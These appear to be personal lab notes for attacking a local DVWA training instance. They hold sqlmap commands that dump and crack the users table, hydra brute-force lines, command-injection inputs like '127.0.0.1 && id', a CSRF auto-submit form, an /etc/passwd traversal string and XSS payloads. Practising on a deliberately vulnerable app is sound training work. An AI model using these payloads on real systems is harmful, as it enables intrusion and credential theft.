

Run this from your WSL terminal (use the PHPSESSID from your logged-in browser):

```
sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=<your-session-id>; security=low" \
--batch --dbs
```

Examples:

# Enumerate databases

```
sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit"
--cookie="PHPSESSID=xxx; security=low" --batch --dbs
```

# Dump all tables in dvwa

```
sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit"
--cookie="PHPSESSID=xxx; security=low" --batch -D dvwa --tables
```

# Dump the users table (has passwords)

```
sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit"
--cookie="PHPSESSID=xxx; security=low" --batch -D dvwa -T users --dump
```

# Crack the MD5 hashes

```
sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit"
--cookie="PHPSESSID=xxx; security=low" --batch -D dvwa -T users -C user,password
--dump --crack
```

Get PHPSESSID: log into DVWA in your browser → DevTools → Application → Cookies → copy the PHPSESSID value.

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 8080 localhost \
http-post-form
```

```
"/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie:PHPSESSID=tbeirfqvivicseh5jjqkvd7bu24 ; security=low:F=Username and/or password incorrect"
```

```
hydra -l admin -P /home/bot/rockyou.txt -s 8080 localhost http-post-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie:PHPSESSID=tbeirfqvivicseh5jjqkvd7bu24 ; security=low:F=Username and/or password incorrect"
```

# Username + password combo attack

```
hydra -L /usr/share/wordlists/usernames.txt -P /usr/share/wordlists/passwords.txt -s 8080 localhost \
```

```
http-post-form
```

```
"/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie:PHPSESSID=<sid>; security=low:F=Username and/or password incorrect"
```

Command injection

127.0.0.1 && hostname

Shows the server hostname.

---

127.0.0.1 && pwd

Shows the current working directory.

---

127.0.0.1 && uname -a

Shows operating system information.

---

127.0.0.1 && id

```
<body onload="document.forms[0].submit()">
```

```
<html>
```

```
<body>
```

```
<form action="http://localhost:8080/vulnerabilities/csrf/" method="GET">
```

```
<input type="hidden" name="password_new" value="hacked123">
```

```
<input type="hidden" name="password_conf" value="hacked123">
```

```
<input type="hidden" name="Change" value="Change">
```

```
<input type="submit" value="Click Me">
```

```
</form>
```

```
</body>
```

```
</html>
```

```
../../../../../../etc/passwd
```

```
<script>alert('XSS')</script>
```

```
<script>
```

```
document.body.innerHTML="<h2>Your session has expired.</h2><p>Please log in  
again.</p>";
```

```
</script>
```

**SVG event handler (compact)**

```
<svg onload=alert(1)>
```

---

### **Image error handler**

```
<img src=x onerror=alert(1)>
```

---

### **Body load event**

```
<body onload=alert(1)>
```

---

## **If the Name field has a browser `maxlength`**

Don't try to squeeze the payload into the Name field.

Instead:

- **Name**

Admin

- **Message**

```
<script>alert(1)</script>
```